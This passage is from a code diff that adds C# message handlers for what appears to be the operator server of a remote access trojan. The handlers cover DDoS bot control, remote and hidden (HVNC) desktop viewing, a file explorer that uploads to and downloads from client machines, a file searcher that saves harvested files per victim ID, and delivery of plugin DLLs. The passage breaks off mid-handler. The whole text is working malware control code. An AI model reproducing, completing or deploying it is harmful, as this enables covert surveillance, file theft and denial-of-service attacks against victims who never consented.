client.Send(new object[3] { "Invoke", checksum6, array4 });
|
||||
}
|
||||
|
||||
// ÄÎÁÀÂËÅÍÍÀß ÑÒÐÎÊÀ: Óñòàíàâëèâàåì ôëàã ïîñëå óñïåøíîãî ðóêîïîæàòèÿ
|
||||
client.HasCompletedHandshake = true;
|
||||
}
|
||||
|
||||
// Method to remove HWID when a client disconnects
|
||||
public static void RemoveActiveHwid(string hwid)
|
||||
{
|
||||
activeHwids.TryRemove(hwid, out _);
|
||||
}
|
||||
}
|
||||
// --- ÊÎÍÅÖ ÔÀÉËÀ HandlerConnect.cs ---
|
||||
@@ -0,0 +1,42 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerDDos
|
||||
{
|
||||
public static void Read(Clients clients, object[] array)
|
||||
{
|
||||
if (!((string)array[1] == "Connect"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (Program.form.DDos.work)
|
||||
{
|
||||
clients.Hwid = (string)array[2];
|
||||
clients.eventDisconnect += delegate
|
||||
{
|
||||
Program.form.DDos.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.DDos.clients.Remove(clients);
|
||||
});
|
||||
};
|
||||
Program.form.DDos.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.DDos.clients.Add(clients);
|
||||
});
|
||||
if (Program.form.DDos.materialSwitch7.Checked)
|
||||
{
|
||||
clients.Send(new object[2]
|
||||
{
|
||||
"Start",
|
||||
Program.form.DDos.rjTextBox1.Texts
|
||||
});
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
clients.Disconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerDesktop
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "Screen"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
FormDesktop form = (FormDesktop)client.Tag;
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
Bitmap bitmap = Methods.ByteArrayToBitmap((byte[])objects[2]);
|
||||
form.FPS++;
|
||||
if (form.sw.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
form.Text = $"Desktop [{client.Hwid}] Fps[{form.FPS}] Data[{Methods.BytesToString(((byte[])objects[2]).Length)}] Size[{bitmap.Width}x{bitmap.Height}] Screen[{form.screen.Width}x{form.screen.Height}]";
|
||||
form.FPS = 0;
|
||||
form.sw = Stopwatch.StartNew();
|
||||
}
|
||||
form.pictureBox1.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.pictureBox1.Image = bitmap;
|
||||
});
|
||||
return;
|
||||
}
|
||||
FormDesktop form2 = (FormDesktop)Application.OpenForms["Desktop:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.client = client;
|
||||
form2.screen = new Size((int)objects[3], (int)objects[4]);
|
||||
form2.Text = "Desktop [" + (string)objects[2] + "]";
|
||||
form2.materialSwitch1.Enabled = true;
|
||||
form2.materialSwitch2.Enabled = true;
|
||||
form2.materialSwitch3.Enabled = true;
|
||||
form2.materialSwitch4.Enabled = true;
|
||||
form2.numericUpDown2.Enabled = true;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
using System.Collections;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerDeviceManager
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormDeviceManager form3 = (FormDeviceManager)Application.OpenForms["DeviceManager:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Device Manager [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.materialLabel1.Enabled = true;
|
||||
form3.dataGridView2.Enabled = true;
|
||||
form3.materialLabel1.Text = "Succues Connect";
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormDeviceManager form2 = (FormDeviceManager)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "List":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormDeviceManager form4 = (FormDeviceManager)client.Tag;
|
||||
form4.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form4.dataGridView2.Rows.Clear();
|
||||
form4.materialLabel1.Text = "Succues list";
|
||||
int num = 2;
|
||||
while (num < objects.Length)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
}
|
||||
}
|
||||
};
|
||||
form4.dataGridView2.Rows.Add(dataGridViewRow2);
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Status":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormDeviceManager form = (FormDeviceManager)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.materialLabel1.Text = "Succues status";
|
||||
foreach (DataGridViewRow item in (IEnumerable)form.dataGridView2.Rows)
|
||||
{
|
||||
if (item.Cells[0].Value as string == (string)objects[2])
|
||||
{
|
||||
item.Cells[2].Value = (string)objects[3];
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Threading;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerError
|
||||
{
|
||||
private static ConcurrentDictionary<string, int> clientErrorCounts = new ConcurrentDictionary<string, int>();
|
||||
private const int MAX_ERRORS_PER_CLIENT_PER_MINUTE = 50; // Allow 50 error messages per client per minute
|
||||
|
||||
static HandlerError()
|
||||
{
|
||||
// Start a timer to periodically reset error counts for all clients
|
||||
// This timer runs every minute to reset the counts, implementing a sliding window for rate limiting.
|
||||
Timer timer = new Timer((e) =>
|
||||
{
|
||||
// Decrement counts for all clients, remove if zero or less
|
||||
foreach (var entry in clientErrorCounts.ToArray())
|
||||
{
|
||||
clientErrorCounts.AddOrUpdate(entry.Key, 0, (key, count) => Math.Max(0, count - (MAX_ERRORS_PER_CLIENT_PER_MINUTE / 60))); // Adjust decrement based on interval
|
||||
if (clientErrorCounts[entry.Key] <= 0)
|
||||
{
|
||||
clientErrorCounts.TryRemove(entry.Key, out _);
|
||||
}
|
||||
}
|
||||
}, null, TimeSpan.FromSeconds(1), TimeSpan.FromSeconds(1)); // Run every second for more granular control
|
||||
}
|
||||
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string clientHwid = client.Hwid; // Use HWID for client identification
|
||||
|
||||
// Increment error count for the client
|
||||
clientErrorCounts.AddOrUpdate(clientHwid, 1, (key, count) => count + 1);
|
||||
|
||||
// Check if client exceeded error message limit
|
||||
if (clientErrorCounts[clientHwid] > MAX_ERRORS_PER_CLIENT_PER_MINUTE)
|
||||
{
|
||||
// Instead of disconnecting, just ignore the excessive error messages
|
||||
Methods.AppendLogs(client.IP, $"Ignoring excessive error messages from {client.IP} ({clientHwid}). Rate limit exceeded.", Color.Orange);
|
||||
return; // Do not process this error message further
|
||||
}
|
||||
|
||||
string errorMessage = (string)objects[1];
|
||||
// Sanitize and truncate error message to prevent excessively long logs
|
||||
if (errorMessage.Length > 500) // Limit message length to 500 characters
|
||||
{
|
||||
errorMessage = errorMessage.Substring(0, 500) + "...";
|
||||
}
|
||||
|
||||
Console.WriteLine("Error: " + errorMessage);
|
||||
Methods.AppendLogs(client.IP, "Error: " + errorMessage, Color.Red);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,480 @@
|
||||
using System.Collections;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
using Leb128;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerExplorer
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (text == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
switch (text.Length)
|
||||
{
|
||||
case 7:
|
||||
switch (text[0])
|
||||
{
|
||||
case 'C':
|
||||
{
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormExplorer form2 = (FormExplorer)Application.OpenForms["Explorer:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.Text = "Explorer [" + (string)objects[2] + "]";
|
||||
form2.client = client;
|
||||
form2.materialLabel1.Text = "Succues Connect";
|
||||
string[] array = ((string)objects[3]).Split(',');
|
||||
foreach (string value in array)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewImageCell
|
||||
{
|
||||
Value = form2.imageList1.Images["folder.png"]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = value
|
||||
}
|
||||
}
|
||||
};
|
||||
form2.dataGridView3.Rows.Add(dataGridViewRow2);
|
||||
}
|
||||
array = ((string)objects[4]).Split(',');
|
||||
foreach (string text2 in array)
|
||||
{
|
||||
string value2 = text2.Split(';')[0];
|
||||
string obj = text2.Split(';')[1];
|
||||
DataGridViewRow dataGridViewRow3 = new DataGridViewRow();
|
||||
if (obj == "Drive")
|
||||
{
|
||||
dataGridViewRow3.Cells.Add(new DataGridViewImageCell
|
||||
{
|
||||
Value = form2.imageList1.Images["hard-disk.png"]
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
dataGridViewRow3.Cells.Add(new DataGridViewImageCell
|
||||
{
|
||||
Value = form2.imageList1.Images["usb-drive.png"]
|
||||
});
|
||||
}
|
||||
dataGridViewRow3.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = value2
|
||||
});
|
||||
form2.dataGridView1.Rows.Add(dataGridViewRow3);
|
||||
}
|
||||
form2.dataGridView1.Enabled = true;
|
||||
form2.dataGridView2.Enabled = true;
|
||||
form2.dataGridView3.Enabled = true;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case 'D':
|
||||
{
|
||||
if (!(text == "Deleted"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormExplorer form3 = (FormExplorer)client.Tag;
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.materialLabel1.Text = "Deleted file or directory";
|
||||
foreach (DataGridViewRow item in (IEnumerable)form3.dataGridView2.Rows)
|
||||
{
|
||||
if ((string)item.Cells[1].Value == (string)objects[2])
|
||||
{
|
||||
form3.dataGridView2.Rows.Remove(item);
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'R':
|
||||
{
|
||||
if (!(text == "Renamed"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormExplorer form = (FormExplorer)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.materialLabel1.Text = "Renamed file or directory";
|
||||
foreach (DataGridViewRow item2 in (IEnumerable)form.dataGridView2.Rows)
|
||||
{
|
||||
if ((string)item2.Cells[1].Value == (string)objects[2])
|
||||
{
|
||||
item2.Cells[1].Value = (string)objects[3];
|
||||
item2.Cells[2].Value = (string)objects[4];
|
||||
item2.Cells[3].Value = (string)objects[5];
|
||||
if (objects.Length > 5)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream((byte[])objects[6]))
|
||||
{
|
||||
item2.Cells[0].Value = Image.FromStream(stream);
|
||||
}
|
||||
item2.Cells[4].Value = Methods.BytesToString((long)objects[7]);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 5:
|
||||
switch (text[0])
|
||||
{
|
||||
case 'F':
|
||||
{
|
||||
if (!(text == "Files"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormExplorer form5 = (FormExplorer)client.Tag;
|
||||
form5.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form5.rjTextBox1.Texts = (string)objects[2];
|
||||
form5.materialLabel1.Text = "Succues Get Folder's and File's";
|
||||
form5.dataGridView2.Rows.Clear();
|
||||
DataGridViewRow dataGridViewRow5 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewImageCell
|
||||
{
|
||||
Value = form5.imageList1.Images["folder.png"],
|
||||
Tag = (byte)2,
|
||||
ImageLayout = DataGridViewImageCellLayout.Zoom
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = "..."
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = ""
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = ""
|
||||
}
|
||||
}
|
||||
};
|
||||
form5.dataGridView2.Rows.Add(dataGridViewRow5);
|
||||
object[] array2 = LEB128.Read((byte[])objects[3]);
|
||||
int num = 0;
|
||||
while (num < array2.Length)
|
||||
{
|
||||
string value3 = (string)array2[num++];
|
||||
string value4 = (string)array2[num++];
|
||||
string value5 = (string)array2[num++];
|
||||
DataGridViewRow dataGridViewRow6 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewImageCell
|
||||
{
|
||||
Value = form5.imageList1.Images["folder.png"],
|
||||
Tag = (byte)1,
|
||||
ImageLayout = DataGridViewImageCellLayout.Zoom
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = value3
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = value5
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = value4
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = ""
|
||||
}
|
||||
}
|
||||
};
|
||||
form5.dataGridView2.Rows.Add(dataGridViewRow6);
|
||||
}
|
||||
object[] array3 = LEB128.Read((byte[])objects[4]);
|
||||
object[] list = LEB128.Read((byte[])objects[5]);
|
||||
int num2 = 0;
|
||||
while (num2 < array3.Length)
|
||||
{
|
||||
string value6 = (string)array3[num2++];
|
||||
string hash = (string)array3[num2++];
|
||||
string value7 = (string)array3[num2++];
|
||||
string value8 = (string)array3[num2++];
|
||||
long byteCount = (long)array3[num2++];
|
||||
DataGridViewRow dataGridViewRow7 = new DataGridViewRow();
|
||||
using (MemoryStream stream2 = new MemoryStream(Methods.getIcon(hash, list)))
|
||||
{
|
||||
dataGridViewRow7.Cells.Add(new DataGridViewImageCell
|
||||
{
|
||||
Value = Image.FromStream(stream2),
|
||||
Tag = (byte)0,
|
||||
ImageLayout = DataGridViewImageCellLayout.Zoom
|
||||
});
|
||||
}
|
||||
dataGridViewRow7.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = value6
|
||||
});
|
||||
dataGridViewRow7.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = value8
|
||||
});
|
||||
dataGridViewRow7.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = value7
|
||||
});
|
||||
dataGridViewRow7.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = Methods.BytesToString(byteCount)
|
||||
});
|
||||
form5.dataGridView2.Rows.Add(dataGridViewRow7);
|
||||
}
|
||||
form5.dataGridView1.Enabled = true;
|
||||
form5.dataGridView2.Enabled = true;
|
||||
form5.dataGridView3.Enabled = true;
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'E':
|
||||
{
|
||||
if (!(text == "Error"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormExplorer form4 = (FormExplorer)client.Tag;
|
||||
form4.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form4.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
form4.dataGridView1.Enabled = true;
|
||||
form4.dataGridView2.Enabled = true;
|
||||
form4.dataGridView3.Enabled = true;
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 10:
|
||||
{
|
||||
if (!(text == "CreatedDir"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormExplorer form7 = (FormExplorer)client.Tag;
|
||||
form7.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form7.materialLabel1.Text = "Created New Directory";
|
||||
DataGridViewRow dataGridViewRow9 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewImageCell
|
||||
{
|
||||
Value = form7.imageList1.Images["folder.png"],
|
||||
Tag = (byte)1,
|
||||
ImageLayout = DataGridViewImageCellLayout.Zoom
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[2]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[3]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[4]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = ""
|
||||
}
|
||||
}
|
||||
};
|
||||
form7.dataGridView2.Rows.Add(dataGridViewRow9);
|
||||
form7.dataGridView2.Sort(new CustomComparer());
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 11:
|
||||
{
|
||||
if (!(text == "CreatedFile"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormExplorer form6 = (FormExplorer)client.Tag;
|
||||
form6.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form6.materialLabel1.Text = "Created New File";
|
||||
DataGridViewRow dataGridViewRow8 = new DataGridViewRow();
|
||||
using (MemoryStream stream3 = new MemoryStream((byte[])objects[2]))
|
||||
{
|
||||
dataGridViewRow8.Cells.Add(new DataGridViewImageCell
|
||||
{
|
||||
Value = Image.FromStream(stream3),
|
||||
Tag = (byte)0,
|
||||
ImageLayout = DataGridViewImageCellLayout.Zoom
|
||||
});
|
||||
}
|
||||
dataGridViewRow8.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[3]
|
||||
});
|
||||
dataGridViewRow8.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[4]
|
||||
});
|
||||
dataGridViewRow8.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[5]
|
||||
});
|
||||
dataGridViewRow8.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = Methods.BytesToString((long)objects[6])
|
||||
});
|
||||
form6.dataGridView2.Rows.Add(dataGridViewRow8);
|
||||
form6.dataGridView2.Sort(new CustomComparer());
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 13:
|
||||
{
|
||||
if (!(text == "UploadConnect"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormUpload form8 = (FormUpload)Application.OpenForms[(string)objects[2]];
|
||||
if (form8 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form8.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form8.client = client;
|
||||
form8.Connected();
|
||||
});
|
||||
client.SendChunk(LEB128.Write(new object[3] { "Uploaded", form8.pathto, form8.bytes }));
|
||||
break;
|
||||
}
|
||||
case 15:
|
||||
{
|
||||
if (!(text == "DownloadConnect"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormExplorer form9 = (FormExplorer)Application.OpenForms["Explorer:" + (string)objects[2]];
|
||||
if (form9 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
client.Hwid = (string)objects[2];
|
||||
form9.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FormDownload formDownload2 = new FormDownload
|
||||
{
|
||||
Text = "Download: " + (string)objects[2],
|
||||
Name = "Download: " + (string)objects[2] + "." + (string)objects[4],
|
||||
parrent = form9.client,
|
||||
client = client,
|
||||
SizeFile = (long)objects[3],
|
||||
NameFile = (string)objects[4]
|
||||
};
|
||||
client.Tag = formDownload2;
|
||||
formDownload2.Show();
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 12:
|
||||
{
|
||||
if (!(text == "DownloadFile"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormDownload formDownload = (FormDownload)client.Tag;
|
||||
formDownload.Close();
|
||||
if (!Directory.Exists("Users\\" + client.Hwid + "\\Downloads"))
|
||||
{
|
||||
Directory.CreateDirectory("Users\\" + client.Hwid + "\\Downloads");
|
||||
}
|
||||
File.WriteAllBytes("Users\\" + client.Hwid + "\\Downloads\\" + formDownload.NameFile, (byte[])objects[2]);
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
case 6:
|
||||
case 8:
|
||||
case 9:
|
||||
case 14:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.Drawing;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerFileSearcher
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
Methods.AppendLogs(client.IP, "Save Files in: Users\\" + objects[1]?.ToString() + "\\FileSearcher", Color.MediumPurple);
|
||||
DynamicFiles.Save("Users\\" + objects[1]?.ToString() + "\\FileSearcher", (object[])objects[2]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerFun
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
if (!((string)objects[1] == "Connect"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
FormFun form = (FormFun)Application.OpenForms["Fun:" + (string)objects[2]];
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.Text = "Fun [" + (string)objects[2] + "]";
|
||||
form.client = client;
|
||||
form.rjTextBox1.Enabled = true;
|
||||
form.rjTextBox2.Enabled = true;
|
||||
form.rjTextBox3.Enabled = true;
|
||||
form.rjComboBox2.Enabled = true;
|
||||
form.rjComboBox3.Enabled = true;
|
||||
form.rjComboBox1.Enabled = true;
|
||||
form.rjButton1.Enabled = true;
|
||||
form.rjButton2.Enabled = true;
|
||||
form.rjButton3.Enabled = true;
|
||||
form.rjButton4.Enabled = true;
|
||||
form.rjButton5.Enabled = true;
|
||||
form.rjButton6.Enabled = true;
|
||||
form.rjButton7.Enabled = true;
|
||||
form.rjButton8.Enabled = true;
|
||||
form.rjButton9.Enabled = true;
|
||||
form.rjButton10.Enabled = true;
|
||||
form.rjButton11.Enabled = true;
|
||||
form.rjButton12.Enabled = true;
|
||||
form.rjButton13.Enabled = true;
|
||||
form.rjButton14.Enabled = true;
|
||||
form.rjButton15.Enabled = true;
|
||||
form.rjButton16.Enabled = true;
|
||||
form.rjButton17.Enabled = true;
|
||||
form.rjButton18.Enabled = true;
|
||||
form.rjButton19.Enabled = true;
|
||||
form.rjButton20.Enabled = true;
|
||||
form.rjButton21.Enabled = true;
|
||||
form.rjButton22.Enabled = true;
|
||||
form.rjButton23.Enabled = true;
|
||||
form.rjButton24.Enabled = true;
|
||||
form.rjButton25.Enabled = true;
|
||||
form.rjButton26.Enabled = true;
|
||||
form.rjButton27.Enabled = true;
|
||||
form.rjButton28.Enabled = true;
|
||||
form.rjButton29.Enabled = true;
|
||||
form.rjButton30.Enabled = true;
|
||||
form.rjButton31.Enabled = true;
|
||||
form.rjButton32.Enabled = true;
|
||||
form.rjButton33.Enabled = true;
|
||||
form.rjButton34.Enabled = true;
|
||||
form.rjButton35.Enabled = true;
|
||||
form.rjButton36.Enabled = true;
|
||||
form.rjButton37.Enabled = true;
|
||||
form.rjButton38.Enabled = true;
|
||||
form.rjButton39.Enabled = true;
|
||||
form.rjButton40.Enabled = true;
|
||||
form.rjButton41.Enabled = true;
|
||||
form.rjButton42.Enabled = true;
|
||||
form.rjButton43.Enabled = true;
|
||||
form.rjButton44.Enabled = true;
|
||||
form.rjButton45.Enabled = true;
|
||||
form.rjButton46.Enabled = true;
|
||||
form.rjButton47.Enabled = true;
|
||||
});
|
||||
client.Tag = form;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
using Server.Properties;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerGetDLL
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
client.lastPing.Disconnect();
|
||||
string text = (string)objects[1];
|
||||
if (text == "leb")
|
||||
{
|
||||
client.Send(new object[3]
|
||||
{
|
||||
"SaveInvoke",
|
||||
text,
|
||||
Resources.Leb128
|
||||
});
|
||||
return;
|
||||
}
|
||||
string[] files = Directory.GetFiles("Plugin", "*.dll", SearchOption.TopDirectoryOnly);
|
||||
foreach (string text2 in files)
|
||||
{
|
||||
if (text == Methods.GetChecksum(text2))
|
||||
{
|
||||
Methods.AppendLogs(client.IP, "Send plugin: " + text2, Color.Aqua);
|
||||
client.Send(new object[3]
|
||||
{
|
||||
"SaveInvoke",
|
||||
text,
|
||||
File.ReadAllBytes(text2)
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerHVNC
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "Screen"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
FormHVNC form = (FormHVNC)client.Tag;
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
Bitmap bitmap = Methods.ByteArrayToBitmap((byte[])objects[2]);
|
||||
form.FPS++;
|
||||
if (form.sw.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
